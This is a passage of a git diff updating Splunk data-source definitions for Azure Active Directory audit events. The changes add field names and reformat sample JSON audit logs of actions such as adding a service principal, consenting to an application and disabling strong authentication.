"activityDisplayName": "Add service principal", "activityDateTime": "2024-02-07T22:31:14.4970418+00:00", "loggedByService": "Core Directory", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "e4c722ac-3b83-478d-8f52-c388885dc30f", "displayName": null, "userPrincipalName": "Herman@phantomengineering.onmicrosoft.com", "ipAddress": "", "roles": []}}, "targetResources": [{"id": "2dedf863-ac93-4f45-87b3-e32f48145380", "displayName": "Malicious11", "type": "ServicePrincipal", "modifiedProperties": [{"displayName": "AccountEnabled", "oldValue": "[]", "newValue": "[true]"}, {"displayName": "AppPrincipalId", "oldValue": "[]", "newValue": "[\"e06366ca-8489-4748-b6a2-d7e4332f45c1\"]"}, {"displayName": "DisplayName", "oldValue": "[]", "newValue": "[\"Malicious11\"]"}, {"displayName": "ServicePrincipalName", "oldValue": "[]", "newValue": "[\"e06366ca-8489-4748-b6a2-d7e4332f45c1\"]"}, {"displayName": "Credential", "oldValue": "[]", "newValue": "[{\"CredentialType\":2,\"KeyStoreId\":\"291154f0-a9f5-45bb-87be-9c8ee5b6d62c\",\"KeyGroupId\":\"291154f0-a9f5-45bb-87be-9c8ee5b6d62c\"}]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential\""}, {"displayName": "TargetId.ServicePrincipalNames", "oldValue": null, "newValue": "\"e06366ca-8489-4748-b6a2-d7e4332f45c1\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"}, {"key": "AppId", "value": "e06366ca-8489-4748-b6a2-d7e4332f45c1"}]}}' +example_log: | + {"time": "2024-02-07T22:31:14.4970418Z", "resourceId": "/tenants/a417c578-c7ee-480d-a225-d48057e74df5/providers/Microsoft.aadiam", "operationName": "Add service principal", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "a417c578-c7ee-480d-a225-d48057e74df5", "resultSignature": "None", "durationMs": 0, "correlationId": "ea473f15-64b3-435a-a885-6ee3908919e2", "Level": 4, "properties": {"id": "Directory_ea473f15-64b3-435a-a885-6ee3908919e2_GSOLK_21152854", "category": "ApplicationManagement", "correlationId": "ea473f15-64b3-435a-a885-6ee3908919e2", "result": "success", "resultReason": "", "activityDisplayName": "Add service principal", "activityDateTime": "2024-02-07T22:31:14.4970418+00:00", "loggedByService": "Core Directory", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "e4c722ac-3b83-478d-8f52-c388885dc30f", "displayName": null, "userPrincipalName": "Herman@phantomengineering.onmicrosoft.com", "ipAddress": "", "roles": []}}, "targetResources": [{"id": "2dedf863-ac93-4f45-87b3-e32f48145380", "displayName": "Malicious11", "type": "ServicePrincipal", "modifiedProperties": [{"displayName": "AccountEnabled", "oldValue": "[]", "newValue": "[true]"}, {"displayName": "AppPrincipalId", "oldValue": "[]", "newValue": "[\"e06366ca-8489-4748-b6a2-d7e4332f45c1\"]"}, {"displayName": "DisplayName", "oldValue": "[]", "newValue": "[\"Malicious11\"]"}, {"displayName": "ServicePrincipalName", "oldValue": "[]", "newValue": "[\"e06366ca-8489-4748-b6a2-d7e4332f45c1\"]"}, {"displayName": "Credential", "oldValue": "[]", "newValue": "[{\"CredentialType\":2,\"KeyStoreId\":\"291154f0-a9f5-45bb-87be-9c8ee5b6d62c\",\"KeyGroupId\":\"291154f0-a9f5-45bb-87be-9c8ee5b6d62c\"}]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential\""}, {"displayName": "TargetId.ServicePrincipalNames", "oldValue": null, "newValue": "\"e06366ca-8489-4748-b6a2-d7e4332f45c1\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"}, {"key": "AppId", "value": "e06366ca-8489-4748-b6a2-d7e4332f45c1"}]}} diff --git a/data_sources/azure_active_directory_add_unverified_domain.yml b/data_sources/azure_active_directory_add_unverified_domain.yml index 05ae6170ff..4ec0f2cc85 100644 --- a/data_sources/azure_active_directory_add_unverified_domain.yml +++ b/data_sources/azure_active_directory_add_unverified_domain.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Add unverified domain id: d4c01fb1-3b88-46d3-bd12-9b9e256450f7 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the addition of an unverified domain to Azure Active Directory, including details about the domain name and the user or process performing the action. mitre_components: @@ -20,10 +20,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -32,12 +38,24 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id + - object_path - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -61,18 +79,36 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"time": "2023-07-26T13:45:54.1582053Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Add unverified domain", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "2601:646:a000:200:6419:f55c:946d:17d1", "correlationId": "bdab88f3-69a4-4e66-883d-5b1e1558e61b", "Level": 4, "properties": {"id": "Directory_bdab88f3-69a4-4e66-883d-5b1e1558e61b_311NT_82497138", "category": "DirectoryManagement", "correlationId": "bdab88f3-69a4-4e66-883d-5b1e1558e61b", "result": "success", "resultReason": "", "activityDisplayName": "Add unverified domain", "activityDateTime": "2023-07-26T13:45:54.1582053+00:00", "loggedByService": "Core Directory", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "2601:646:a000:200:6419:f55c:946d:17d1", "roles": []}}, "targetResources": [{"id": null, "displayName": "newdomain.com", "modifiedProperties": [{"displayName": "Name", "oldValue": "[\"\"]", "newValue": "[\"newdomain.com\"]"}, {"displayName": "LiveType", "oldValue": "[\"None\"]", "newValue": "[\"Managed\"]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"Name,LiveType\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"}]}}' +example_log: | + {"time": "2023-07-26T13:45:54.1582053Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Add unverified domain", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "2601:646:a000:200:6419:f55c:946d:17d1", "correlationId": "bdab88f3-69a4-4e66-883d-5b1e1558e61b", "Level": 4, "properties": {"id": "Directory_bdab88f3-69a4-4e66-883d-5b1e1558e61b_311NT_82497138", "category": "DirectoryManagement", "correlationId": "bdab88f3-69a4-4e66-883d-5b1e1558e61b", "result": "success", "resultReason": "", "activityDisplayName": "Add unverified domain", "activityDateTime": "2023-07-26T13:45:54.1582053+00:00", "loggedByService": "Core Directory", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "2601:646:a000:200:6419:f55c:946d:17d1", "roles": []}}, "targetResources": [{"id": null, "displayName": "newdomain.com", "modifiedProperties": [{"displayName": "Name", "oldValue": "[\"\"]", "newValue": "[\"newdomain.com\"]"}, {"displayName": "LiveType", "oldValue": "[\"None\"]", "newValue": "[\"Managed\"]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"Name,LiveType\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"}]}} diff --git a/data_sources/azure_active_directory_consent_to_application.yml b/data_sources/azure_active_directory_consent_to_application.yml index 9d099b746f..5881aa30f0 100644 --- a/data_sources/azure_active_directory_consent_to_application.yml +++ b/data_sources/azure_active_directory_consent_to_application.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Consent to application id: 4c5d6c49-53e3-4980-a4de-c63e26291ed0 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs user or admin consent to an application's permissions in Azure Active Directory, including details about the application, granted permissions, and the consenting user or process. mitre_components: @@ -20,10 +20,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -32,13 +38,23 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -63,21 +79,37 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultDescription - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status - tag - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"time": "2023-10-27T16:14:14.9747033Z", "resourceId": "/tenants/75243ab2-44f8-435c-a7a6-b479385df6d4/providers/Microsoft.aadiam", "operationName": "Consent to application", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "resultSignature": "None", "resultDescription": "Microsoft.Online.Security.UserConsentBlockedForRiskyAppsException", "durationMs": 0, "callerIpAddress": "13.85.188.242", "correlationId": "864210f1-2950-47cb-9e12-1a71dcbdb1d5", "Level": 4, "properties": {"id": "Directory_864210f1-2950-47cb-9e12-1a71dcbdb1d5_DO21D_338329364", "category": "ApplicationManagement", "correlationId": "864210f1-2950-47cb-9e12-1a71dcbdb1d5", "result": "failure", "resultReason": "Microsoft.Online.Security.UserConsentBlockedForRiskyAppsException", "activityDisplayName": "Consent to application", "activityDateTime": "2023-10-27T16:14:14.9747033+00:00", "loggedByService": "Core Directory", "operationType": "Assign", "userAgent": null, "initiatedBy": {"user": {"id": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "displayName": null, "userPrincipalName": "user15@splunkresearch.onmicrosoft.com", "ipAddress": "13.85.188.242", "roles": []}}, "targetResources": [{"id": "6228c72e-8895-4681-bbda-238132dc4f3c", "displayName": "Bad App 1", "type": "Application", "modifiedProperties": [{"displayName": "ConsentContext.IsAdminConsent", "oldValue": null, "newValue": "\"False\""}, {"displayName": "ConsentContext.IsAppOnly", "oldValue": null, "newValue": "\"False\""}, {"displayName": "ConsentContext.OnBehalfOfAll", "oldValue": null, "newValue": "\"False\""}, {"displayName": "ConsentContext.Tags", "oldValue": null, "newValue": "\"WindowsAzureActiveDirectoryIntegratedApp\""}, {"displayName": "ConsentAction.Permissions", "oldValue": null, "newValue": "\"[] => [[Id: AAAAAAAAAAAAAAAAAAAAALSZcc5Sj_NGtUtP2B3pYeI2veRXIpdKSpcpcgPY4Aty, ClientId: 00000000-0000-0000-0000-000000000000, PrincipalId: 57e4bd36-9722-4a4a-9729-7203d8e00b72, ResourceId: ce7199b4-8f52-46f3-b54b-4fd81de961e2, ConsentType: Principal, Scope: Mail.Read Mail.Read.Shared Mail.ReadBasic Mail.ReadBasic.Shared Mail.ReadWrite Mail.ReadWrite.Shared Mail.Send Mail.Send.Shared User.Read, CreatedDateTime: , LastModifiedDateTime ]]; \""}, {"displayName": "ConsentAction.Reason", "oldValue": null, "newValue": "\"Risky application detected\""}, {"displayName": "MethodExecutionResult.", "oldValue": null, "newValue": "\"Microsoft.Online.Security.UserConsentBlockedForRiskyAppsException\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "EvoSTS"}, {"key": "AppId", "value": "96f6a3d6-d5aa-4af5-a77a-9319b5283712"}]}}' +example_log: | + {"time": "2023-10-27T16:14:14.9747033Z", "resourceId": "/tenants/75243ab2-44f8-435c-a7a6-b479385df6d4/providers/Microsoft.aadiam", "operationName": "Consent to application", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "resultSignature": "None", "resultDescription": "Microsoft.Online.Security.UserConsentBlockedForRiskyAppsException", "durationMs": 0, "callerIpAddress": "13.85.188.242", "correlationId": "864210f1-2950-47cb-9e12-1a71dcbdb1d5", "Level": 4, "properties": {"id": "Directory_864210f1-2950-47cb-9e12-1a71dcbdb1d5_DO21D_338329364", "category": "ApplicationManagement", "correlationId": "864210f1-2950-47cb-9e12-1a71dcbdb1d5", "result": "failure", "resultReason": "Microsoft.Online.Security.UserConsentBlockedForRiskyAppsException", "activityDisplayName": "Consent to application", "activityDateTime": "2023-10-27T16:14:14.9747033+00:00", "loggedByService": "Core Directory", "operationType": "Assign", "userAgent": null, "initiatedBy": {"user": {"id": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "displayName": null, "userPrincipalName": "user15@splunkresearch.onmicrosoft.com", "ipAddress": "13.85.188.242", "roles": []}}, "targetResources": [{"id": "6228c72e-8895-4681-bbda-238132dc4f3c", "displayName": "Bad App 1", "type": "Application", "modifiedProperties": [{"displayName": "ConsentContext.IsAdminConsent", "oldValue": null, "newValue": "\"False\""}, {"displayName": "ConsentContext.IsAppOnly", "oldValue": null, "newValue": "\"False\""}, {"displayName": "ConsentContext.OnBehalfOfAll", "oldValue": null, "newValue": "\"False\""}, {"displayName": "ConsentContext.Tags", "oldValue": null, "newValue": "\"WindowsAzureActiveDirectoryIntegratedApp\""}, {"displayName": "ConsentAction.Permissions", "oldValue": null, "newValue": "\"[] => [[Id: AAAAAAAAAAAAAAAAAAAAALSZcc5Sj_NGtUtP2B3pYeI2veRXIpdKSpcpcgPY4Aty, ClientId: 00000000-0000-0000-0000-000000000000, PrincipalId: 57e4bd36-9722-4a4a-9729-7203d8e00b72, ResourceId: ce7199b4-8f52-46f3-b54b-4fd81de961e2, ConsentType: Principal, Scope: Mail.Read Mail.Read.Shared Mail.ReadBasic Mail.ReadBasic.Shared Mail.ReadWrite Mail.ReadWrite.Shared Mail.Send Mail.Send.Shared User.Read, CreatedDateTime: , LastModifiedDateTime ]]; \""}, {"displayName": "ConsentAction.Reason", "oldValue": null, "newValue": "\"Risky application detected\""}, {"displayName": "MethodExecutionResult.", "oldValue": null, "newValue": "\"Microsoft.Online.Security.UserConsentBlockedForRiskyAppsException\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "EvoSTS"}, {"key": "AppId", "value": "96f6a3d6-d5aa-4af5-a77a-9319b5283712"}]}} diff --git a/data_sources/azure_active_directory_disable_strong_authentication.yml b/data_sources/azure_active_directory_disable_strong_authentication.yml index bb9c0cdbc0..12b7838938 100644 --- a/data_sources/azure_active_directory_disable_strong_authentication.yml +++ b/data_sources/azure_active_directory_disable_strong_authentication.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Disable Strong Authentication id: 8f31966d-c496-496d-8837-f7fd11f31255 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when strong authentication methods are disabled in Azure Active Directory. mitre_components: @@ -19,8 +19,8 @@ supported_TA: version: 6.3.3 fields: - _time - - Level - category + - command - correlationId - date_hour - date_mday @@ -30,12 +30,21 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object_attrs + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.category @@ -59,18 +68,31 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src_user + - src_user_name + - src_user_type + - status - tenantId - time - timeendpos - timestartpos + - user + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"time": "2023-07-11T00:01:35.0251899Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Disable Strong Authentication", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "correlationId": "7e3ee05c-ce4f-4ff1-8230-55555c25c97e", "Level": 4, "properties": {"id": "Directory_7e3ee05c-ce4f-4ff1-8230-55555c25c97e_DADCR_14299826", "category": "UserManagement", "correlationId": "7e3ee05c-ce4f-4ff1-8230-55555c25c97e", "result": "success", "resultReason": "", "activityDisplayName": "Disable Strong Authentication", "activityDateTime": "2023-07-11T00:01:35.0251899+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "oops@splunkresearch.com", "ipAddress": "", "roles": []}}, "targetResources": [{"id": "94b969a3-11cb-4075-a1fd-9fee3daf692e", "displayName": null, "type": "User", "userPrincipalName": "Abigail.Clark@splunkresearch.com", "modifiedProperties": [{"displayName": "StrongAuthenticationRequirement", "oldValue": "[{\"RelyingParty\":\"*\",\"State\":1,\"RememberDevicesNotIssuedBefore\":\"2023-07-11T00:01:26+00:00\"}]", "newValue": "[]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"StrongAuthenticationRequirement\""}], "administrativeUnits": []}], "additionalDetails": []}}' +example_log: | + {"time": "2023-07-11T00:01:35.0251899Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Disable Strong Authentication", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "correlationId": "7e3ee05c-ce4f-4ff1-8230-55555c25c97e", "Level": 4, "properties": {"id": "Directory_7e3ee05c-ce4f-4ff1-8230-55555c25c97e_DADCR_14299826", "category": "UserManagement", "correlationId": "7e3ee05c-ce4f-4ff1-8230-55555c25c97e", "result": "success", "resultReason": "", "activityDisplayName": "Disable Strong Authentication", "activityDateTime": "2023-07-11T00:01:35.0251899+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "oops@splunkresearch.com", "ipAddress": "", "roles": []}}, "targetResources": [{"id": "94b969a3-11cb-4075-a1fd-9fee3daf692e", "displayName": null, "type": "User", "userPrincipalName": "Abigail.Clark@splunkresearch.com", "modifiedProperties": [{"displayName": "StrongAuthenticationRequirement", "oldValue": "[{\"RelyingParty\":\"*\",\"State\":1,\"RememberDevicesNotIssuedBefore\":\"2023-07-11T00:01:26+00:00\"}]", "newValue": "[]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"StrongAuthenticationRequirement\""}], "administrativeUnits": []}], "additionalDetails": []}} diff --git a/data_sources/azure_active_directory_enable_account.yml b/data_sources/azure_active_directory_enable_account.yml index 8d5fac1a5e..19eddcaf33 100644 --- a/data_sources/azure_active_directory_enable_account.yml +++ b/data_sources/azure_active_directory_enable_account.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Enable account id: cb49f3cd-04ad-415c-a5ed-9b27b2829fa7 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an Azure Active Directory account is enabled. mitre_components: @@ -19,10 +19,13 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -31,12 +34,23 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.category @@ -60,18 +74,35 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"time": "2023-07-24T14:28:15.2223487Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Enable account", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "2601:646:a000:200:b0ee:600c:de8a:c7d5", "correlationId": "d34f6d2e-3120-4b96-b922-e06090f6a497", "Level": 4, "properties": {"id": "Directory_d34f6d2e-3120-4b96-b922-e06090f6a497_VPRLA_316413188", "category": "UserManagement", "correlationId": "d34f6d2e-3120-4b96-b922-e06090f6a497", "result": "success", "resultReason": "", "activityDisplayName": "Enable account", "activityDateTime": "2023-07-24T14:28:15.2223487+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "2601:646:a000:200:b0ee:600c:de8a:c7d5", "roles": []}}, "targetResources": [{"id": "83a3158c-1d08-4686-b5f9-72fb34cb606e", "displayName": null, "type": "User", "userPrincipalName": "testuser@splunkresearch.com", "modifiedProperties": [{"displayName": "AccountEnabled", "oldValue": "[false]", "newValue": "[true]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"AccountEnabled\""}], "administrativeUnits": []}], "additionalDetails": []}}' +example_log: | + {"time": "2023-07-24T14:28:15.2223487Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Enable account", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "2601:646:a000:200:b0ee:600c:de8a:c7d5", "correlationId": "d34f6d2e-3120-4b96-b922-e06090f6a497", "Level": 4, "properties": {"id": "Directory_d34f6d2e-3120-4b96-b922-e06090f6a497_VPRLA_316413188", "category": "UserManagement", "correlationId": "d34f6d2e-3120-4b96-b922-e06090f6a497", "result": "success", "resultReason": "", "activityDisplayName": "Enable account", "activityDateTime": "2023-07-24T14:28:15.2223487+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "2601:646:a000:200:b0ee:600c:de8a:c7d5", "roles": []}}, "targetResources": [{"id": "83a3158c-1d08-4686-b5f9-72fb34cb606e", "displayName": null, "type": "User", "userPrincipalName": "testuser@splunkresearch.com", "modifiedProperties": [{"displayName": "AccountEnabled", "oldValue": "[false]", "newValue": "[true]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"AccountEnabled\""}], "administrativeUnits": []}], "additionalDetails": []}} diff --git a/data_sources/azure_active_directory_invite_external_user.yml b/data_sources/azure_active_directory_invite_external_user.yml index 047ac126b8..4e3590ab85 100644 --- a/data_sources/azure_active_directory_invite_external_user.yml +++ b/data_sources/azure_active_directory_invite_external_user.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Invite external user id: d3818bd5-f283-4518-8b67-df19240c3e40 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an external user is invited to join an Azure Active Directory tenant. mitre_components: @@ -19,10 +19,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -31,12 +37,23 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -59,18 +76,35 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"time": "2023-07-13T00:29:59.5100003Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Invite external user", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "40.126.4.40", "correlationId": "e7d580a6-eaac-4f82-843c-40b0b5f3cf99", "Level": 4, "properties": {"id": "Invited Users_e7d580a6-eaac-4f82-843c-40b0b5f3cf99_YNUMP_7291793", "category": "UserManagement", "correlationId": "e7d580a6-eaac-4f82-843c-40b0b5f3cf99", "result": "success", "resultReason": null, "activityDisplayName": "Invite external user", "activityDateTime": "2023-07-13T00:29:59.5100003+00:00", "loggedByService": "Invited Users", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "oopsr@splunkresearch.com", "ipAddress": "40.126.4.40", "roles": []}}, "targetResources": [{"id": "f416526a-17ee-4129-8ca9-f5ee55f69f34", "displayName": "oops", "type": "User", "userPrincipalName": "oops360_gmail.com#EXT#@strtadminsplunkresearch.onmicrosoft.com", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": [{"key": "oid", "value": "728989f4-eb3d-45c2-8741-2f2af4e485ce"}, {"key": "tid", "value": "fc69e276-e9e8-4af9-9002-1e410d77244e"}, {"key": "ipaddr", "value": "2601:646:a000:200:c4db:f288:7e28:21b3"}, {"key": "wids", "value": "62e90394-69f5-4237-9190-012177145e10"}, {"key": "InvitationId", "value": "65c7d12f-c6f3-44f0-8fad-4f57a1020484"}, {"key": "invitedUserEmailAddress", "value": "oops360@gmail.com"}]}}' +example_log: | + {"time": "2023-07-13T00:29:59.5100003Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Invite external user", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "40.126.4.40", "correlationId": "e7d580a6-eaac-4f82-843c-40b0b5f3cf99", "Level": 4, "properties": {"id": "Invited Users_e7d580a6-eaac-4f82-843c-40b0b5f3cf99_YNUMP_7291793", "category": "UserManagement", "correlationId": "e7d580a6-eaac-4f82-843c-40b0b5f3cf99", "result": "success", "resultReason": null, "activityDisplayName": "Invite external user", "activityDateTime": "2023-07-13T00:29:59.5100003+00:00", "loggedByService": "Invited Users", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "oopsr@splunkresearch.com", "ipAddress": "40.126.4.40", "roles": []}}, "targetResources": [{"id": "f416526a-17ee-4129-8ca9-f5ee55f69f34", "displayName": "oops", "type": "User", "userPrincipalName": "oops360_gmail.com#EXT#@strtadminsplunkresearch.onmicrosoft.com", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": [{"key": "oid", "value": "728989f4-eb3d-45c2-8741-2f2af4e485ce"}, {"key": "tid", "value": "fc69e276-e9e8-4af9-9002-1e410d77244e"}, {"key": "ipaddr", "value": "2601:646:a000:200:c4db:f288:7e28:21b3"}, {"key": "wids", "value": "62e90394-69f5-4237-9190-012177145e10"}, {"key": "InvitationId", "value": "65c7d12f-c6f3-44f0-8fad-4f57a1020484"}, {"key": "invitedUserEmailAddress", "value": "oops360@gmail.com"}]}} diff --git a/data_sources/azure_active_directory_microsoftgraphactivitylogs.yml 